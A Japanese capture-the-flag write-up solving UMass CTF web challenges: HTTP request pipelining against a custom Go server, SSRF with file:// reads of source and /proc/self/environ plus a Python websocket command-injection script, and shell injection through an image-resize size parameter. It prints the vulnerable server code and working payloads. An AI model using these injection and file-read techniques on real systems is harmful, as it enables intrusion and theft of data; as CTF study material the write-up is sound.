- [web] Crabby Clicker
- [web] Future Router
- [web] Spongebobs Homepage
- [web] Holesome Birthday Party 途中であきらめ
- [Web] Cash Cache 解いてない
[web] Crabby Clicker
golangで書かれたwebサーバが与えられる。
func (r *RequestHandler) handleRequest() { defer r.conn.Close() reader := bufio.NewReader(r.conn) for { // Set a deadline for reading. If a second passes without reading any data, a timeout will occur. r.conn.SetReadDeadline(time.Now().Add(1 * time.Second)) // Read and parse the request headers request, err := readHTTPHeader(reader) if err != nil { return } requestLines := strings.Split(request, "\n") if len(requestLines) < 1 { fmt.Println("Invalid request") return } // Parse the request line requestLine := strings.Fields(requestLines[0]) if len(requestLine) < 3 { fmt.Println("Invalid request") return } method := requestLine[0] uri := requestLine[1] // Check if the request is a valid GET request if method != "GET" { r.conn.Write([]byte("HTTP/1.1 405 Method Not Allowed\r\n\r\n")) return } // Handle GET request if uri == "/" { r.generateResponse(` Welcome to Crabby Clicker! A HTTP based clicker game where you can earn burgers to get the flag. Make a request to /click to gain a burger. I use my own custom HTTP server implementation to manage the state of the game. It's not fully working, I am running into some bugs. `) } else if uri == "/click" { // BUG: Weird thing where the state is not updated between requests?? r.burgers++ r.generateResponse("burger added") } else if uri == "/flag" { if r.burgers >= 100 { r.generateResponse(fmt.Sprintf("Flag: UMASS{%s}", os.Getenv("FLAG"))) } else { r.generateResponse("Not enough burgers") } } else { r.generateResponse("Not found") } } }
このようになっており、/click
でr.burgers++
をすることでき、
/flag
でr.burgers >= 100
を満たすならフラグが得られる。
しかし、リクエスト毎にr.burgers = 0
で開始されるので、r.burgers >= 100
とするのが難しい。
処理フローを見るとfor文でリクエスト処理が回されている。
複数リクエストを強制させることができれば、良い感じにフラグが得られそうである。
ここでリクエストを読み込んでいるreadHTTPHeaderを見てみる。
func readHTTPHeader(reader *bufio.Reader) (string, error) { // Read headers until \r\n\r\n var requestLines []string for { line, err := reader.ReadString('\n') if err != nil { return "", err } requestLines = append(requestLines, line) // Check if the current line marks the end of the headers if line == "\r\n" { break } } return strings.Join(requestLines, ""), nil }
これを見ると、単に\r\n
があればリクエスト読み込みを終了している。
\r\n
で終了すると一旦読み込みが中断されるため、バッファにはまだ残りのリクエストが残存することになる。
この状態で2週目に到達すると残りのリクエストが読み込まれるため、複数リクエストを投げることができる。
つまり、以下のようなリクエストでフラグが得られる。
GET /click HTTP/1.1 GET /click HTTP/1.1 GET /click HTTP/1.1 ... [GET /click HTTP/1.1 を 100回以上] GET /click HTTP/1.1 GET /flag HTTP/1.1
[web] Future Router
ソースコード無し。
SSRFできそうな所とwebsocketでやりとりできそうな所がある。
websocketは応答が淡泊であまりよく分からないので、SSRF箇所から攻めよう。
fileスキーマが動いたので色々抜いていく。
file:///proc/self/environ
とするとOLDPWD=/PWD=/planktonsrouter1ba8b69e
と帰ってくる。
PWDが抜けたので、適当にファイル名をguessしてソースコードを引っ張って来る。
file:///planktonsrouter1ba8b69e/app.py
があった。
from flask import Flask from blueprints.routes import httpserver app = Flask(__name__) # This web server is the property of Sheldon J. Plankton, # please refrain from reading this secret source code. # I WILL USE THIS ROUTER TO STEAL THE SECRET KRABBY PATTY FORMULA! app.register_blueprint(httpserver, url_prefix='/')
という訳で次は/blueprints/routes.py
を見てみる。
よってfile:///planktonsrouter1ba8b69e/blueprints/routes.py
from flask import Flask, request, render_template, Blueprint,send_from_directory from io import BytesIO import pycurl httpserver = Blueprint('httpserver', __name__) #@httpserver.route("/docs",methods=["GET"]) #def docs(): # return """<!doctype html> # <h1>Router Docs</h1> # # <h2>Websocket API</h2> # # <strong>TODO: Document how to talk to # Karen's customer service module in ../karen/customerservice.py # Also figure out how to use supervisord better.</strong> #""" # # Securely CURL URLs, absolutely no bugs here! @httpserver.route("/static/<path:path>") def static(path): return send_from_directory('static',path) @httpserver.route("/cURL",methods=["GET","POST"]) def curl(): if(request.method == "GET"): return render_template('curl.html') elif(request.method == "POST"): try: buffer = BytesIO() c = pycurl.Curl() c.setopt(c.URL, request.json['URL']) c.setopt(c.WRITEDATA, buffer) c.perform() c.close() DATA = buffer.getvalue() return {"success":DATA.decode('utf-8')} except Exception as e: return {"error":str(e.with_traceback(None))} @httpserver.route("/customerservice",methods=["GET"]) def customerservice(): return render_template('customerservice.html') NETWORK = [ {'hostname':'patricks-rock','ports':[{'service':'http','num':80}]}, {'hostname':'spongebobs-spatula','ports':[{'service':'http','num':80}]}, {'hostname':'squidwards-clarinet','ports':[{'service':'http','num':80}]}, ] @httpserver.route("/dash",methods=["GET"]) def dash(): return render_template('dashboard.html',network=NETWORK) @httpserver.route("/") def hello_world(): return render_template("index.html")
コメントに../karen/customerservice.py
とあるので、次はfile:///planktonsrouter1ba8b69e/karen/customerservice.py
を見る。
import asyncio, os, re from websockets.server import serve # Due to security concerns, I, Sheldon J. Plankton have ensured this module # has no access to any internet service other than those that are # trusted. This agent will trick Krabs into sending me the secret # krabby patty formula which I will log into Karen's secret krabby patty # secret formula file! First, I have to fix a few security bugs! class KarenCustomerServiceAgent: SECRET_KEY = bytearray(b"\xe1\x86\xb2\xa0_\x83B\xad\xd7\xaf\x87f\x1e\xb4\xcc\xbf...i will have the secret krabby patty formula.") Dialogue = { "Welcome":"Hello! Welcome to the Future Router service bot!", "Secret formula":"Thank you for your input, we will process your request in 1-3 business days", "Problem":"Are you having an issue? Please enter the secret krabby patty formula in the dialogue box to continue" } def handle_input(self,message): if ("hello" in message): return self.Dialogue["Welcome"] elif("krabby patty" in message): filtered_message = re.sub(r"(\"|\'|\;|\&|\|)","",message) os.system(f'echo "{filtered_message}\n" >> /dev/null') return self.Dialogue["Secret formula"] elif("problem" in message): return self.Dialogue["Problem"] else: return "I could not understand your message, this agent is under construction. Please use the other implemented features for now!" def xor_decrypt(self,ciphertext): plaintext = "" cipher_arr = bytearray(ciphertext) for i in range(0,len(cipher_arr)): plaintext += chr(cipher_arr[i] ^ self.SECRET_KEY[i % len(self.SECRET_KEY)]) return plaintext KarenAgent = KarenCustomerServiceAgent() async def respond(websocket): async for message in websocket: data = KarenAgent.xor_decrypt(message.encode('latin-1')) response = KarenAgent.handle_input(data) await websocket.send(response) async def main(): async with serve(respond, "0.0.0.0", 9000): await asyncio.Future() # run forever asyncio.run(main())
websocketの実装が見つかる。
入力を秘密鍵とXORで復号化して最終的にos.system(f'echo "{filtered_message}\n" >> /dev/null')
として実行している。
コマンドインジェクションですね。
以下のような感じでやってみるとスリープが入ったのでうまく実行できていそう。
import asyncio import websockets SECRET_KEY = bytearray(b"\xe1\x86\xb2\xa0_\x83B\xad\xd7\xaf\x87f\x1e\xb4\xcc\xbf...i will have the secret krabby patty formula.") def xor_decrypt(ciphertext): plaintext = "" cipher_arr = bytearray(ciphertext) for i in range(0,len(cipher_arr)): plaintext += chr(cipher_arr[i] ^ SECRET_KEY[i % len(SECRET_KEY)]) return plaintext async def solve(): uri = "ws://future-router.ctf.umasscybersec.org/app/" async with websockets.connect(uri) as websocket: await websocket.send(xor_decrypt(b"krabby patty $(sleep 5)")) resp = await websocket.recv() print(resp) asyncio.get_event_loop().run_until_complete(solve())
応答を持ってくるのに苦労した。
外部通信は許可していないのか、curlとかwgetは使えなかった。
webサイトの/static/
において取り出す方針も書き込み権限がないのかダメだった。
うーーんと思っていたら、前半で使ったfileスキーマによるLFIを思い出す。
tmpフォルダに適当に出力してfileスキーマによるLFIで取り出してくることができた。
つまり、ls -la / > /tmp/sdfajk235jisdjakfjsak
みたいなコマンドを実行して、file:///tmp/sdfajk235jisdjakfjsak
を持ってくればls -la /
結果が分かる。
これで/flag53958e73c5ba4a66
というファイルが分かるので、これをcatで同様にして持ってくれば答え。
[web] Spongebobs Homepage
ソースコード無し。
スポンジボブのファンページが与えられる。
リクエストを眺めると
http://spongebob-blog.ctf.umasscybersec.org/assets/image?name=house&size=300x494 http://spongebob-blog.ctf.umasscybersec.org/assets/image?name=spongebob&size=200x200 http://spongebob-blog.ctf.umasscybersec.org/assets/image?name=spongebob&size=2000x200
このようなリクエストが走っている。
ん?この形どこかで…?と思っていると
つい最近書いたインジェクションの記事のコマンドインジェクション例に似ている。
sizeを; ls ;
とするとls結果が表示された。
興味で./server.py
を抜いてみよう。
import http.server import socketserver import urllib.parse import subprocess import os import base64 PORT = 1337 class RequestHandler(http.server.SimpleHTTPRequestHandler): def do_GET(self): # Route for the root `/` if self.path == '/': self.path = './files/index.html' return http.server.SimpleHTTPRequestHandler.do_GET(self) # Parse path and query parsed_path = urllib.parse.urlparse(self.path) query_params = urllib.parse.parse_qs(parsed_path.query) # Route for `/assets/image` if parsed_path.path == '/assets/image': # Extract the image name and size from the query parameters name = query_params.get('name', [None])[0] size = query_params.get('size', [None])[0] if name and size: if not name.isalnum(): self.send_error(400, "Invalid name parameter") return image_path = f'./files/assets/{name}.png' if os.path.isfile(image_path): # Run the ImageMagick convert command to resize the image command = f"convert ./files/assets/{name}.png -resize {size}! png:-" try: # Execute the command using shell=True to make it vulnerable to injection process = subprocess.Popen( command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) output, errors = process.communicate() if process.returncode == 0: self.send_response(200) self.send_header('Content-type', 'image/png') # self.send_header('X-Debug-Command', command) self.end_headers() self.wfile.write(output) return else: self.send_error(500, f"Error resizing image: {errors.decode()}") return except Exception as e: self.send_error(500, f"Internal server error: {str(e)}") return else: self.send_error(404, "Image not found") return else: self.send_error(400, "Missing name or size parameters") return # Fallback to default file serving else: self.send_error(404, "File not found") return # Set up and start the server with socketserver.TCPServer(("0.0.0.0", PORT), RequestHandler) as httpd: print(f"Serving at port {PORT}") httpd.serve_forever()
command = f"convert ./files/assets/{name}.png -resize {size}! png:-"
でコマンドインジェクションできますね。
; cat flag.txt ;
としたGET /assets/image?name=house&size=%3b%20cat%20flag.txt%20%3b
でフラグ獲得。
[web] Holesome Birthday Party 途中であきらめ
良くある、応答に応じてHTTPリクエストヘッダーをつけていく問題。
guessが突破できなかった所があったので途中であきらめてしまった。
でも最後までそういう感じなので、興味がある人は以下の公式writeupをどうぞ。
https://discord.com/channels/808050086428409868/1229186793669394572/1231728862203744437
[Web] Cash Cache 解いてない
時間が無くて解けなかったが、面白そうな雰囲気がある。後で復習する。